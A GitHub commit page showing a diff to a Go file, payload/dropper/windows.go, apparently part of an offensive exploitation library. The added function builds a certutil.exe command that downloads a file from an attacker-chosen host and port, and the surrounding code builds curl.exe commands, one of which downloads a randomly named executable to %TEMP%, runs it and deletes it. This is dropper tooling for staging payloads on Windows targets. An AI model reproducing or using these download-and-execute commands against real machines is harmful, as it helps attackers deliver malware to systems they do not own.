Skip to content

Commit 19d3db5

Browse files
added certutildownloadonly
1 parent 30a7ff9 commit 19d3db5

File tree

1 file changed

+10
-0
lines changed

1 file changed

+10
-0
lines changed

payload/dropper/windows.go

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,16 @@ func (win *WindowsPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl boo
1818
return fmt.Sprintf("curl.exe -so %s http://%s:%d/%s", output, lhost, lport, downloadFile)
1919
}
2020

21+
// Much like CurlHTTPDownloadOnly, this function will generate the certutil.exe command to download a file and save it to the provided location.
22+
func CertutilHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, outputPath string) string {
23+
uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile)
24+
if ssl {
25+
uri = strings.Replace(uri, "http://", "https://", 1)
26+
}
27+
28+
return fmt.Sprintf("certutil.exe -urlcache -split -f %s %s", uri, outputPath)
29+
}
30+
2131
// Download a remote file with curl.exe, execute it, and delete it (after execution).
2232
func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
2333
output := `%TEMP%\` + random.RandLetters(3) + ".exe"

0 commit comments

Comments
 (0)